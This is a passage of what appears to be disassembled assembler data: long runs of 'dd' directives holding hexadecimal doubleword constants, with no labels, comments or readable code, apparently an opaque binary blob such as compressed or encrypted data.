8BF00BEDh, 2B063132h, 31A64C90h, 0A44597FEh dd 0B2E65D0h, 0BA429CC2h, 0AAB694A0h, 0CC031694h, 99A86D60h dd 0D50C9008h, 982831E5h, 90CD1689h, 631DA020h, 9141DC8h dd 9074BAF4h, 0BCE97992h, 29986D19h, 0A07400A8h, 0A9680061h dd 381DE0Ah, 1E037BB6h, 8A7EC7E7h, 711800D0h, 0ACC634CAh dd 5D2CDA62h, 3607D2A5h, 0E4518C96h, 0CDF06B33h, 91D00288h dd 0B7DFDB69h, 66A8015Dh, 89AC5CFCh, 850D00ABh, 36B7D7DBh dd 359920D9h, 6B0AB884h, 848FAD8h, 148C202Ch, 0CD56AC5h dd 18E0E34Eh, 43D0906Dh, 0A9A70563h, 108A2734h, 5E13998Bh dd 0C43700E9h, 68EF608Bh, 0F7D61100h, 1F58867Fh, 0AC7825h dd 0C524410Ah, 743B2A6Dh, 0BD008A90h, 528189Eh, 2A50ADA5h dd 0B8A844h, 73B8DCF1h, 0B4697EEBh, 0BA465A02h, 0E037F554h dd 11AFB48h, 0E514AC9Ah, 0CC7F2CB7h, 8C604307h, 0DBE81841h dd 6AFD003Eh, 0F9157652h, 0D0C0D04Dh, 0FE944CE4h, 0E87A0190h dd 8D3AE55Ch, 79C8E30Eh, 0D478C436h, 6C6FC000h, 710A46D7h dd 8A890FF2h, 2DE014E4h, 57858E5Ah, 71946D37h, 78EFF4C0h dd 3E700351h, 0B236DB61h, 165D85E8h, 0AB633Ch, 6E0247B7h dd 7342E522h, 0EC2C00F5h, 79AA1CBFh, 0C0A07FFh, 0E465CF15h dd 8F6F5786h, 0A8A1F261h, 62A3CCh, 0E3B78128h, 0BDC442E4h dd 30A08D4Fh, 7BA00046h, 158CCED4h, 21000FB3h, 6AC7D21Ch dd 0E2363E9h, 114B620Ch, 22573700h, 587B5319h, 1036B331h dd 0FD184417h, 0DD464708h, 530A83A0h, 4105304Ch, 7716D2ECh dd 0A6C30460h, 0D510C30Dh dd 19001089h, 42926A97h, 147434h, 0E3FA916Dh, 0F3EBAA76h dd 2978EE31h, 98FB7357h, 19AE268Fh, 82EF612h, 0B6218081h dd 0ED41917Ah, 39DE0374h, 36C0D76h, 0EA008170h, 8A37CE0Bh dd 2151EA3h, 2622B948h, 0B5C051D4h, 58A0D285h, 6861E7F2h dd 967A1D59h, 0D82BECh, 7CCA594h, 0EE17990Ah, 0FB285000h dd 0BE769272h, 0E7A3073h, 3DF35771h, 26913Fh, 975E6B51h dd 0ACC594Ah, 0EF02EBB1h, 9174816Ch, 182E8F5Eh, 7BB78884h dd 0B8659100h, 950553ACh, 0E9A9C3D3h, 71000F52h, 8B810CF7h dd 164AE76h, 4DCD898Eh, 0BA0AEEF2h, 42DF8749h, 0DB11FDD3h dd 50D8B97Eh, 6571003Eh, 0F5915586h, 2F02CFE3h, 8F05F23Ch dd 1D3480EAh, 53196F6h, 0C30FCE93h, 0DD9440CCh, 0AF905035h dd 518E3A0Ah, 0F881A45Bh, 0D1C3A816h, 59B22980h, 5A5B7539h dd 43F0740Ch, 0C0CA0853h, 39621121h, 4C03A538h, 6C6A2654h dd 0E7DAB837h, 30C1C067h, 0E3247ECEh, 68A99300h, 4A058122h dd 658F0003h, 1297F962h, 1C609206h, 0B35794B9h, 0BD4414BBh dd 0FF10BC0Ch, 9177C0EEh, 8C468F53h, 0E527E44h, 0EFF9917Fh dd 0B8FBE000h, 0BD0CD54Bh, 0B9D8C306h, 0CCA483h, 0CD02117Eh dd 41C296BCh, 84021041h, 395430C5h, 46B67A58h, 1BC2284h dd 0B5395D0Ch, 482E0F92h, 0AE00B3C0h, 0D0815CE1h, 0BA2BEFh dd 0E36609CBh, 0E720923Eh, 0C58BD50Dh, 0E88830EBh, 7560EF01h dd 468F5991h, 37F2276h, 5F917CB8h, 4DE08D03h, 0EF54598Bh dd 9030D5E4h, 0C31B2976h, 6C0F53ADh, 0D30C9A2h, 9BF40067h dd 652181F3h, 0F9065193h, 724FE976h, 0FC6874B1h, 6C11497Ah dd 0ACBC3600h, 0F9B8805h, 538FCF0Eh, 211E8C10h, 0ACC5014Dh dd 0A7A56E71h, 6AE480B2h, 9F7F7389h, 0DA8303E3h, 151DF946h dd 305BD2A0h, 0CACED54h, 0BA000879h, 1332F762h, 0E8330F6Bh dd 2F21C038h, 0C946D1FFh, 8072E339h, 0BE71D0DFh, 3EB7EC4Bh dd 0E715E13Dh, 0C0CD4FAh, 5BF1C470h, 6209102h, 0A34B8BD6h dd 0E32EA0h, 255A2959h, 617914EFh, 0D6679505h, 14086990h dd 0A8948FE7h, 98CF9F20h, 0CC0BA9F6h, 2F095FEh, 4AA3B302h dd 9CC026Ch, 14040A17h, 0E9222483h, 801925Ah, 2662EE4Fh dd 0E8C2CCh, 8BEA37CFh, 5AD97F8h, 0E8D5922Ah, 2C54E926h dd 598AFE40h, 91EC91E7h, 825889A9h, 47625BB5h, 61100068h dd 0E10BC839h, 3E42E22h, 98082CDBh, 0D00124F0h, 0B08B2865h dd 20CCE0h, 0BF028C7Ch, 53880AACh, 101C1910h, 0ACA856h dd 4C7A2CC9h, 0F291491Fh, 0A93F20B0h, 0D289E1E8h, 90C5F75Eh dd 12C63FCh, 0A28C6CF3h, 62158AD5h, 0BD814044h, 0AE0C9C98h dd 0B1D12E11h, 5B17038Fh, 0C1B39F49h, 0B482ACEAh, 0C01EDCAh dd 69BECE66h, 40988D24h, 1520671Eh, 0E7D88963h, 0E9190011h dd 0D6E309A9h, 0B63EFBAEh, 0E059A4D8h, 543E1D13h, 9C008323h dd 55F4B97h, 3C1C9990h, 66B7F200h, 960D5E12h, 67024A07h dd 6027BC2h, 18F066F9h, 510DE793h, 7A0095B5h, 9AD7FAFDh dd 0C5B8F0h, 0EB6CBE3Bh, 0DB0D5F08h, 2F61020Ch, 6B41E5h dd 2E37CCA1h, 0CB0C3F5Bh, 144CDF28h, 0BA3808D8h, 8F08C073h dd 9176AE3Eh, 88D5FF0Ch, 1FA87979h, 4005F372h, 97F4AE28h dd 0C5557E8h, 5093F1E0h, 9106086Ch, 2424E491h, 9473D000h dd 488987ECh, 0C4235497h, 79395501h, 0BE187A5Bh, 0C5E0D88h dd 56B9F39h, 0F1003771h, 0E78A935Ah, 0E4553833h, 0C429846h dd 97B4BD6h, 1F00BA29h, 0BCDF53Ah, 0C2E1AF9h, 206BC74Ah dd 7005321h, 4E95369Eh, 0E03A0CC8h, 0E8F0C0h, 0D1393DA7h dd 2694AA97h, 0BC78B15Ch, 0DE018C7Bh, 0FF3DFAF0h, 560D3C8h dd 0DA6B370Ch, 40A05AD9h, 222001B2h, 92E8A215h, 0D5ED0694h dd 0A6510B91h, 1B641C78h, 0E326807Dh, 6AEECA1Dh, 0EC09E716h dd 3A05307Bh, 4444D43Ch, 400B55ECh, 191F85B4h, 0A5F70151h dd 4F7F0FF0h, 0D3DF74F3h, 207AC9C4h, 97949140h, 8E005372h dd 2A8BFABDh, 1FD8E4BCh, 0C055454Bh, 54F34A91h, 50136497h dd 2C3EA25Ch, 94001D23h, 5854B62Eh, 1E7D24BBh, 80154ED0h dd 580A6694h, 70807E8Fh, 91747DB9h, 210BB302h, 0C4640D54h dd 83660214h, 1E03DE92h, 186050C9h, 23C1F209h, 0E111FF62h dd 76752E38h, 566102D4h, 6CF2FC1Dh, 85D59182h, 2F3764E4h dd 0DFD0313Dh, 0DE0C4Ah, 0B0584CF1h, 0E447F2B4h, 4961BD00h dd 0BA51F08Eh, 8B5B1F4Ah, 3AF07493h, 37B23F8h, 59C489D5h dd 2FC583F0h, 22909A58h, 918CFEDBh, 0D89714FCh, 8C7ED040h dd 8ACC102h, 190FC388h, 0C2501018h, 61C700ACh, 95335987h dd 0E891C602h, 84B5BF05h, 0EA1D8600h, 805E2Ch, 7F2BB972h dd 0FE59B7E9h, 5FDBD401h, 0FA6E9289h, 5C231072h, 0BD44051Eh dd 3562DF62h, 0D1FC1220h, 8C0600E3h, 60C702F1h, 54992F57h dd 5DB56300h, 0F8424BE7h, 209A073Ah, 2189195Ah, 226A0CD2h dd 765F0104h, 5D286D1Ch, 2C305825h, 21C1426Fh, 911F0384h dd 293E5C4Fh, 0CFC5C35h, 793C2EFAh, 96D5184Ch, 98DE3112h dd 9B5E2F03h, 0E9DD25E8h, 5980B2A6h, 203709D2h, 8705839Dh dd 8BB359E7h, 0E2DEFC46h, 0E0720051h, 681F4E30h, 0DC0C4F89h dd 298F9359h, 9E740060h, 82658375h, 0F0024269h, 0ED90C8D1h dd 7C24464Bh, 16593A30h, 0BCE3AF15h, 0CE6AA985h, 0C01A88FCh dd 9EA79072h, 9122276h, 80A9D4h, 18235A81h, 31104DE9h dd 4B1639BCh, 5C30D659h, 7F1BB45h, 765CE162h, 963AA25Dh dd 0F87154E6h, 0B2918301h, 72CB854Bh, 88121870h, 0FF01D4DDh dd 936B63C4h, 0C440981Fh, 67E6B8h, 0ACF77FA2h, 68CB83D1h dd 1CFD5A07h, 0F6B0FBDCh, 580FB39Dh, 0BD0626E1h, 0BE846B3Ch dd 6C3F337Ch, 25AF98F7h, 0C915B28h, 0D7B114Eh, 0BA0FA6C9h dd 0EBC02A41h, 949805E2h, 0D7C3FC21h, 22001822h, 211864C7h dd 3F00B295h, 9FF73DE2h, 327785h, 6A99B325h, 3174A27Bh dd 10E7BB11h, 0C443F10Fh, 0BF2A19C0h, 0F6C0CF1Eh, 0ADBC378Fh dd 0D46F506Dh, 963F8826h, 3EF06201h, 67D48054h, 103EC02Eh dd 0CD12C29Ah, 88239205h, 310E177Ah, 0A3A000EBh, 0C8F56598h dd 3EBEFD07h, 0E80D1C1h, 0B1FFC10h, 91F3160Bh, 2D504280h dd 0EF0C850Dh, 28BF2BF2h, 0AC6B1DD2h, 0FE8C039h, 0AD1006E7h dd 0B34681Fh, 17B36580h, 0BEEDF4h, 56994E84h, 3F644DB0h dd 1F35DC03h, 0B0318857h, 1DEAC32Eh, 0EE0EFF9h, 5580F041h dd 922390E5h, 0DB17DC0Eh, 0BFCA8035h, 0FD391FDh, 5171183Fh dd 70A66D07h, 24641398h, 23AAF703h, 38192EB7h, 0D73F1F10h dd 71C6B380h, 0EFEB17D2h, 907CBE30h, 0EAF41122h, 0E9FD0E26h dd 8900EE65h, 6023BB77h, 0F891DD0Ch, 7C0C8D6h, 110BC531h dd 17ED41E8h, 0B5DE307Ah, 0CB384A0h, 80F5CC3Ch, 780F7219h dd 27F6D56h, 0B15090A3h, 888069E4h, 0A51AF551h, 7D161500h dd 63BBFFDCh, 923800DAh, 0DA2201Dh, 0BE36E5EFh, 2858C0h dd 0CCA5E627h, 48142E10h, 80843500h, 8C05176h, 8C2826DBh dd 77B10F9Bh, 0BED6ED41h, 0B74180CEh, 0FA249397h, 0DF2F51C6h dd 6C7D8h, 5AA84504h, 4F1CA61Eh, 2C313800h, 0D3F93EF2h dd 7C5971B6h, 808103AAh, 0ACBBE703h, 82A478DBh, 8881548Eh dd 80E2BED1h, 0CEF8769h, 36BA9Ch, 0B29329D5h, 2277555Bh dd 0C2DE8A14h, 0DCA600A8h, 49C965F5h, 0A14A00D4h, 45C18C70h dd 200CF3F8h, 8D7FC6Eh dd 43400EDh, 0C88AF8Fh, 1E8ADA2h, 0B000DB7Fh, 668ACBF8h dd 0F898C60Dh, 139CF6C0h, 3BD0E15h, 0B786C10Ch, 0E1BCDDA1h dd 0D835C185h, 6101FA27h, 79186FA4h, 0CDE8ABCCh, 0C51300ACh dd 2899D8Eh, 1500A6D3h, 83AD8F0Dh, 7898BEF1h, 8AF6084h dd 8599CDDEh, 7CBC33Eh, 0D08EC2ABh, 94D901E0h, 93F74836h dd 64223714h, 0FCAE0447h, 11A43017h, 1D4DF410h, 7C620503h dd 0D60845h, 0DFEEC620h, 7EF09FCDh, 3D3C0303h, 0C0F6AE23h dd 0E274FA39h, 1083009Eh, 7711C990h, 0C01F2E43h, 0C20F33EEh dd 71DFACF8h, 740302Bh, 0AEE82779h, 10F7C030h, 1C287AE5h dd 86067218h, 88121D36h, 73F96E0Ch, 182941BFh, 6027AB09h dd 176E0FF8h, 837C0319h, 3409E3Bh, 82CDD5C5h, 98966374h dd 26046E0h, 177AE079h, 0A722030Fh, 49BAF197h, 0F9A65006h dd 20D0F681h, 8D0085DEh, 7CD2C136h, 0A88B6377h, 3E21F9Ch dd 2B9F4641h, 590E06C0h, 83F71528h, 7F262FCCh, 3CD60099h dd 0DC02A736h, 9CCA1F3h, 760212Dh, 7C863C9Fh, 7A0DE3CEh dd 8A762EF0h, 2A206A40h, 0C40C45h, 5F2F8509h, 0D9834D21h dd 4C2B8101h, 0E9290A3Ah, 2A021AF0h, 18A85B68h, 0B1D8646Eh dd 8000FE0Eh, 737B01AEh, 0A8B833Ch, 28D05B48h, 0FE660398h dd 2003C01Ch, 73ADD7C4h, 28D8B247h, 0D59104C8h, 8EB00363h dd 0E229A0F6h, 0A794A8F1h, 480B2809h, 830606A4h, 8977C626h dd 78F99A0Fh, 2C8F81F1h, 0A4481EC0h, 13120058h, 8A84A9E5h dd 401C9AB3h, 0AAFBF7C4h, 8E02806Ch, 0E5D5B2C3h, 0EDC48393h dd 690833BBh, 0B2C00121h, 0B700BD15h, 2F12B8C3h, 1549E51Fh dd 0B47B0CF9h, 26F1C906h, 0D43280D3h, 0B3D2C097h, 883CDBD4h dd 86DBB2A7h, 9DCD2C45h, 0C0AFD6FCh, 0E57A6F20h, 0C4506C6Ah dd 200CAD90h, 0D9F42FB1h, 2BD33937h, 63050C0Eh, 62BD7403h dd 2100FB83h, 892C6DD0h, 0C57065h, 0F845EAECh, 0B16C7751h dd 0DC3AC400h, 0D3E441EDh, 5B6925CDh, 0D6347008h, 0E1F5B201h dd 2D1A98F9h, 48023FE0h, 8581BCFDh, 10F38Bh, 9630CF2h dd 7AA2E6E0h, 51014011h, 0FCE877E4h, 0E40C59F1h, 9062A0A9h dd 0D4048CB0h, 0D0CCA2Bh, 0D180D867h, 64A02C6Ah, 0E8A501C5h dd 7A77DF08h, 1D21BBF5h, 1C26CE02h, 0B99C6200h, 5E6BB8Eh dd 4741A987h, 0A6E007D9h, 0A1CF0086h, 0A400EBB8h, 0BCDDB265h dd 214F4h, 79D3FBE6h, 239EB7F3h, 24813899h, 0BF543674h dd 2C207421h, 42584510h, 0A930B308h, 0A73B113Ch, 809F88DAh dd 1D3CB1BDh, 0DF07B2A9h, 8A30D30Fh, 0DE8DA641h, 63459420h dd 0FFEB79FAh, 4C342E80h, 6DB4F900h, 3DE1E232h, 9F51040Ch dd 402D2CCDh, 8638B835h, 74490098h, 0F8F78AD2h, 9D015244h dd 7D247797h, 9850F92Fh, 0F609BBAh, 90E5A817h, 6747F00h dd 0DA003C96h, 7D0CDFD4h, 18D69A62h, 91FD4751h, 0E5013CDCh dd 9CCB7ED5h, 0D43486C2h, 349A12h, 0ECEF87BFh, 0C104E2C4h dd 0DAA28300h, 22777117h, 0FFEA28F1h, 0AF81BC4h, 0CE80B92Fh dd 0F8A10DA6h, 9E0C20D8h, 2BDA028Ch, 62BD0CE0h, 21821Bh dd 922C5217h, 9C76B04h, 24C047F3h, 20FDE987h, 4899FC71h dd 0AD02F380h, 3DEC24FEh, 0BB8099EDh, 0D19BD203h, 0C700A0B5h dd 65FB3277h, 13025C87h, 3A9114ECh, 36F232Ch, 57A72CBEh dd 50F947B9h, 3EBFD3A0h, 8CBA6100h, 66142CFBh, 41231EA2h dd 72E30F36h, 0A8012A49h, 61CE8B16h, 818A0444h, 22EE2B94h dd 0B8F706A8h, 187A75h, 0D981E7Bh, 4E73B6D1h, 9772C101h dd 0D462BCF5h, 309CA842h, 0C6082C08h, 66636D0Ch, 350021FFh dd 7BDA2BE0h, 38C40D75h, 1FACAE1Bh, 65112Ch, 0C2B0F997h dd 0A707F3h, 7875E381h, 7C7B8661h, 0CC02B60h, 90FF3536h dd 11789068h, 426FF8C1h, 20FEE1F0h, 0D4C6ED0Dh, 0DC187EEAh dd 0A9F884A5h, 908DF0F1h, 1CDF0028h, 0ACBFBEAEh, 30A49D20h dd 0CF141DB0h, 8478650Ch, 34002101h, 0C4572C6Fh, 0C058934Ch dd 3314183Ch, 0EA660086h, 2C0241EBh, 21C5F3FAh, 108C0BF9h dd 0F5D32009h, 2039107h, 7DD55AE4h, 21A58401h, 4C24A2F9h dd 1B1476C9h, 0A1D3DBCAh, 373F29E0h, 9C58649Ah, 10FD17A1h dd 77026012h, 41CDD4C9h, 24EA9668h, 88FC879Eh, 32E4E080h dd 9892A3DFh, 0DA4207F8h, 0F09AB0B2h, 0D78ECD0Ch, 0B1E6D11Bh dd 0F0085038h, 3DA783Dh, 9D50A5C7h, 910F901Eh, 0A20212B4h dd 60E0727Eh, 9AC28720h, 0BBCF0FF8h, 0C5822CC3h, 2861293Fh dd 0FBDF108Eh, 9B800233h, 51B714FEh, 30879E61h, 0E748F94Ch dd 94F32404h, 7ECEC800h, 0A070C60Ch, 2CDF01E4h, 8054651Eh dd 0CC1C8E1Dh, 870030E6h, 1566257Ah, 19FAB480h, 0B1869BA5h dd 94D710E8h, 0F9920067h, 0FBE54F87h, 0C070CF99h, 0C09F4C34h dd 0B034C800h, 98A73D97h, 7EDE3D70h, 805F6118h, 350741A5h dd 0FEC01117h, 0AC3B8A9Bh, 6AD69641h, 19018036h, 837EA8E5h dd 88050C9Dh, 0E50040C6h, 0FF14DB29h, 9A25DF9h, 0FD2711A9h dd 7F2E1002h, 18CDF4E1h, 9C3C6593h, 0C61898AAh, 9C6788h dd 419E253Ch, 22AFAB6Ah, 4680FF0Dh, 0E4C0A895h, 9FE32492h dd 0F02F1E38h, 11E6A039h, 4E0045B0h, 77096980h, 7BE7F34h dd 7304DA33h, 61DC7213h, 0CDDFA848h, 62D8FC60h, 543E7B8Fh dd 26099065h, 44DC8B4Fh, 19794222h, 0E410C596h, 8C47601Fh dd 34AF0A84h, 832874FAh, 9CD2A3EDh, 77101102h, 0E77F3081h dd 22C8CE60h, 0FB706F60h, 40F84829h, 0E9884A04h, 45D4C8ABh dd 0F7990E60h, 0FCEEABFh, 31625B48h, 9780BEDCh, 0EFCA1C73h dd 5018AE06h, 57E9F646h, 0F1660051h, 47C07804h, 9005C593h dd 0B0DC72E5h, 900AC40Ch, 2A1C16D4h, 9CE82240h, 0FDE104DDh dd 69188CC8h, 34833095h, 91000D45h, 0D23A89DEh, 73E580h dd 0B7D854A0h, 5B2E4CE6h, 0EBCDE409h, 4E02BF2h, 0F9420254h dd 985A210Ch, 74317D78h, 5C891199h, 2236F987h, 79A070C4h dd 16C02D8Fh, 8E941AA7h, 44840449h, 8106B001h, 80182FE0h dd 48045841h, 0B797Ah, 0FA547801h, 7062466Ah, 9E1C063Eh dd 0C02A1F1Eh, 4E0105F2h, 376617ACh, 0C720903Ch, 12AA026Bh dd 304A3F5Ch, 70D37441h, 0A18CD1A0h, 0CACD19D3h, 95228826h dd 3CB06300h, 0B8F19640h, 0AC801F2h, 7803A1D6h, 18243274h dd 9131242Ch, 0EDD90394h, 3971ECEAh, 606957A1h, 98001300h dd 0AE23A1B0h, 25E9AA74h, 0E88370B2h, 40502757h, 821B7738h dd 0B81028A4h, 1F634198h, 4C02D01h, 86616DDCh, 0CF46C894h dd 3F3CD502h, 2D31BAA7h, 3C9E6110h, 0CEAD2805h, 28880FF8h dd 9C3F782Bh, 6769774h, 98442E9Ch, 1D09CB9h, 0ED758621h dd 7F77D412h, 0B01FECD1h, 1CC84462h, 0D708FCACh, 0C03A6546h dd 9E3B7E77h, 0BD60FCB9h, 1EFA5h, 17C35A3Dh, 0B87438ACh dd 360F3504h, 7880FEF9h, 89207385h, 97E43087h, 77DE860Bh dd 0A04801EFh, 2E21AE74h, 0FD39D0E3h, 646C0FFBh, 25650FFh dd 9CF37E28h, 7144C8E7h, 1EB78860h, 0EC0058B1h, 601A3B23h dd 2430A13h, 0BD0AC94h, 5001776Fh, 993DC4h, 2CC0CA38h dd 0C4F0DAh, 69A15276h, 0A875EEE7h, 0CE0A0D7Ah, 0E0A02CC7h dd 0F637C880h, 0F2A99C2h, 0E0604AC0h, 9EAC640h, 810476B7h dd 53D695DFh, 8169CD8h, 9B7EA7E5h, 3B41C170h, 0C384B1E5h dd 0A2738CC0h, 13A93F0Ch, 0D004D797h, 50812528h, 10A5F4EFh dd 9B9A8825h, 708D8064h dd 19F8AE7h, 0E4010E79h, 439A8072h, 12E057E0h, 0AF391EA7h dd 0ACE7AACEh, 75C6E202h, 0C0DAF7EDh, 6D1DDCh, 7E138BC7h dd 439908B4h, 0C409A54Bh, 0DD1D05A1h, 0B8744CD9h, 79884387h dd 0E5D8B209h, 80E4C5BBh, 10B2C7AEh, 0A93CDE03h, 0C8C4804Dh dd 0EC240209h, 40E54F2Bh, 360A27B4h, 4890FAC9h, 944424A7h dd 0AD226760h, 0F16DF309h, 9F3498ECh, 0BBA0046h, 0B533E69Bh dd 4F12E895h, 7C0436C2h, 0C80510A0h, 0C800CBF6h, 0E9CAC013h dd 0DC918E33h, 62226F08h, 9712F4B6h, 8110112Ch, 8CFB053Fh dd 0C810BB45h, 16853C8h, 2B825A72h, 9C409C2Dh, 25EDBBCh dd 4D658A23h, 0E040D334h, 31C4292Ch, 0FCC0350Fh, 0F86795F4h dd 0A09E3A7Bh, 91D44C12h, 330AF91Ch, 2422178h, 0CF523FCAh dd 28116CCBh, 0E2402166h, 78C648A6h, 0C6CA713h, 9AD07488h dd 1DFCACB0h, 0B446E340h, 0EEA9807Ch, 0FB4E7E76h, 8B6C1500h dd 5E3016BEh, 2A85002Dh, 0BA0B957h, 9A2468D5h, 0D812A88Eh dd 2B2FF406h, 0F78A0079h, 86CA650Fh, 3A1C45D5h, 1F80E319h dd 4449DA18h, 976B1329h, 22C88250h, 2D60D920h, 13F57823h dd 0AB20280h, 96874F4h, 2C235E89h, 7D808555h, 1A0063FBh dd 5D4EEB10h, 97BE2CDh, 0A6E9DCF6h, 8A1E5C40h, 0F900B492h dd 0A4939011h, 47D9162h, 138DB21h, 2E68A389h, 465ED095h dd 72C8000Eh, 0CC5F4DB0h, 63FC32E6h, 34E445A9h, 53FD570Ah dd 0A125A92Ah, 0D8611640h, 5A35F428h, 0D16C94E8h, 6CF86FF4h dd 8C99B870h, 39EA4200h, 65C13FFFh, 99C4376Bh, 11A9B058h dd 74988C5Fh, 0A2F6C90Bh, 0FB446030h, 80389C72h, 0ED650DD7h dd 1113A597h, 94410FF0h, 871A512Fh, 0C0868C20h, 0E8B15EE1h dd 0FC90E450h, 1B9EC427h, 0FDE828C0h, 91860B98h, 0E083540Dh dd 6800F725h, 0FBD2E173h, 0D1215Dh, 2EC03EB3h, 0A876845Ah dd 0D51AD400h, 6A4CED4Ah, 3E5628E4h, 0EB4507EFh, 0C3762DBEh dd 0C1A04497h, 0A600664Ah, 56A18E07h, 0F065FFBFh, 0F29EEA43h dd 0A5800057h, 0D1EBF9CBh, 0EA004414h, 0B424D7Bh, 233132h dd 0B5751E72h, 0B0082EE1h, 0C62D9707h, 0F810D25Ah, 0B80A519h dd 99FAF6FBh, 0C3C0384Ah, 0CA5C4778h, 0AB2330h, 0CC52BDDh dd 678662D5h, 0C03221FDh, 0FAC5382Bh, 2C5DB83Ah, 0DC04A0EBh dd 89056641h, 0C9B05C7Bh, 3A002315h, 0B4514D1Fh, 0EF83AA09h dd 0C40C4CDh, 47B169BFh, 7471B816h, 4898C635h, 98F2BCA2h dd 1F4B730h, 0AA7E1FC1h, 305E8709h, 0F713561Ch, 8420EC28h dd 0D11275F9h, 1B005839h, 3F4EC45Eh, 3E0FAE18h, 1FFF99Ah dd 2D9C637Bh, 0B0394421h, 911EAFB8h, 76801617h, 404EEDDBh dd 7B643506h, 339C4D3Ch, 0F7673091h, 80544159h, 0E5D2B2CEh dd 72458CABh, 4B2F1C3h, 3F008433h, 77B643B7h, 0AC07CBBCh dd 50F901E1h, 625AAA50h, 279872A6h, 0A09791ADh, 6020FF88h dd 9DED6D89h, 0AD8CCD1Dh, 2C05F312h, 903A62A0h, 5400FB23h dd 0E1305C39h, 0F1D20355h, 0F9360CDDh, 2D125886h, 83AF318h dd 3B012A23h, 0B8F6120h, 2C206DEDh, 41414E27h, 160F9770h dd 20002A19h, 0AB778FFCh, 9828EFF6h, 63D878E1h, 3003E2BCh dd 2F0C1D42h, 4CD1EE85h, 57F82CAEh, 1F174EA4h, 932613CFh dd 478A7710h, 2E44705Ah, 0E43700F6h, 0DB58D907h, 0F127FE49h dd 8AEC8920h, 406E68A4h, 0DC5D5E81h, 9250013h, 86E0465Fh dd 0E658EF78h, 8B208BF8h, 45C803C4h, 6AD10003h, 1BF8ED35h dd 71018BE5h, 43DFA9C1h, 4C603D56h, 0C080AD95h, 70A8B0D4h dd 0BA087803h, 0C8980FC5h, 0B8EE1738h, 0A7282FA2h, 0F2D40C04h dd 20FFF100h, 4000CE0Ch, 8E284AB3h, 0A11F95ADh, 8C47DEECh dd 0E9A6CF00h, 0CD7CA1A9h, 0FF021868h, 0CE06878Ah, 465258E0h dd 31800CB6h, 0A7E172C0h, 0DED92CACh, 34674B0h, 0A772F700h dd 786B275h, 1A8B0425h, 0D66C84E8h, 183CA860h, 74D2A726h dd 0B0BA70h, 94AC6C3Ch, 0E9A7485Eh, 68FE2224h, 1440CC2Eh dd 0B6ADB3h, 3E3850BAh, 0A13F182h, 47C8AE0Bh, 0C0CC6D48h dd 0D3596FB4h, 50643496h, 0E9E53F61h, 1420A57Eh, 2BC796Ch dd 4C81EDEFh, 4C69F7Ch, 58015100h, 8508D6A1h, 30DFFA9Ch dd 0D959F445h, 0FC0267D4h, 0B3E02497h, 93E0FF8Bh, 0AA5077A6h dd 0A4A7FB90h, 11672C44h, 2B6A8076h, 0E301705Fh, 2B9F4241h dd 6E7C4F2Ah, 77877321h, 0C2584411h, 0FF205D1Ch, 0A816F3h dd 0B25A7526h, 0D0EEB981h, 76D51B02h, 1DF8A04Dh, 0D800C63Eh dd 143A27E2h, 0E63E01BCh, 0A8C7B082h, 1D6E28B5h, 24620C77h dd 60AF1324h, 29FB6D6Ch, 2CE0E40h, 5326BA86h, 0A4E2D37Eh dd 2840FD63h, 73FE57A0h, 58248830h, 16C35EAAh, 8EEF53Fh dd 0C9C03E44h, 5FE5D3B2h, 0FF842CA3h, 38B2D000h, 78EC149Ch dd 60B8CEh, 77959184h, 0EA23F07Ah, 2F422B25h, 1A7C652Ch dd 99A13CB0h, 0F52D62B8h, 0C70DF901h, 0C84983Ch, 0C8170BD6h dd 1E530Ch, 3513F408h, 5CE76580h, 7701E971h, 0E6C7E28Ch dd 0A98C70A2h, 0AF411745h, 0B7EB7700h, 3CDAB4E5h, 75B900A5h dd 109E9815h, 0B041F4Eh, 0C24627Dh, 0FEC84CCFh, 79288C0h dd 7C7E0BF7h, 94A45406h, 0DC414079h, 814C76h, 0E56C87E4h dd 0D258B9CEh, 0F802EC99h, 86EA00Ch, 0E7BA8F1Ch, 617E5E01h dd 473CF8BCh, 6D0B8800h, 0CEB1E829h, 523A30CDh, 0D7084440h dd 0E5052C96h, 60A2D3FBh, 0BF3094F2h, 0C41E0036h, 0E46A65BEh dd 4112CA4Bh, 2817F207h, 44CCA034h, 0D2AA006Bh, 6E7FA766h dd 2C731B51h, 4443E4Ch, 0F54DAB28h, 1CE04CA1h, 1298F87Ah dd 80C9A60Dh, 91807758h, 4E0AA8A8h, 6C07D124h, 8C1ECD06h dd 8B540019h, 269BF7B5h, 91187DC0h, 6A90F206h, 0FE2B81F9h dd 0E10E8F9h, 9041139Fh, 2768C48h, 77979F09h, 11801D91h dd 0ECCE8069h, 386CAFF5h, 0D301E3EDh, 2680DE55h, 0DC888492h dd 0FC41DB47h, 0D3F5FE0Ch, 0CCF3E82Bh, 3252FD8h, 18C3FF3Dh dd 21D0A7FBh, 0F376F9h, 16A2747Eh, 0CB900BBFh, 0C02AC8C0h dd 9C988E33h, 8C8E94Bh, 345A10E5h, 0E0B900C2h, 1E90FE7h dd 0D47E35A3h, 0A16C80E1h, 1B058865h, 943B92F3h, 41A670D0h dd 0A00D6B89h, 0FA08281Dh, 5CA962D7h, 1FB100C3h, 0DCE984D8h dd 512C22Dh, 2ED79798h, 982378h, 749F1172h, 0AFEAC023h dd 1E06E8BEh, 93282564h, 99AD7804h, 449E8927h, 75CF006Ch dd 7F87E84Ah, 9F8EF32h, 2F44E41Eh, 0EDD59130h, 987D0022h dd 0F8DB066Fh, 6527EBB0h, 1A444A5h, 0E39983F7h, 4020A46Ah dd 6E2151B0h, 0EA747509h, 3A3C0677h, 0AAF61750h, 0CE8C40C5h dd 0D352C228h, 1E8C2395h, 0C7E80011h, 0B154FE68h, 9E067B01h dd 5CB9E228h, 82A70528h, 0E6F714F3h, 0D90FB0E4h, 6D753DDFh dd 701D8380h, 2C6AE521h, 908EB64Eh, 57C0FDC8h, 1364732h dd 0E66154E5h, 8A97CB92h, 644E6850h, 91AC1725h, 0FBC68095h dd 0EBB51ADEh, 1601B073h, 5F31D12Fh, 6060307Dh, 118CA3Ch dd 72F9A864h, 8089C0BCh, 5CF1A1E6h, 9113088h, 58F0B357h dd 1468A645h, 1F8C94BCh, 807A240Eh, 90C893F0h, 917AA10h dd 441E80Fh, 0DA89AE0Dh, 128B3030h, 412B407Bh, 2FCE1DC0h dd 4DD1808Fh, 0C2AC09F8h, 55B402BDh, 0C9C61E73h, 0F3A5B860h dd 74F56345h, 94ABCE60h, 0D8465C20h, 9209B100h, 0ABC44F2Dh dd 0A6C93F16h, 76ED1431h, 0C0B9DE9Ch, 554D1FC7h, 8460084Fh dd 1AE998E8h, 2D5CBAF9h dd 3017F6ECh, 47812A11h, 0E82EFB4Ch, 13480933h, 2FB63884h dd 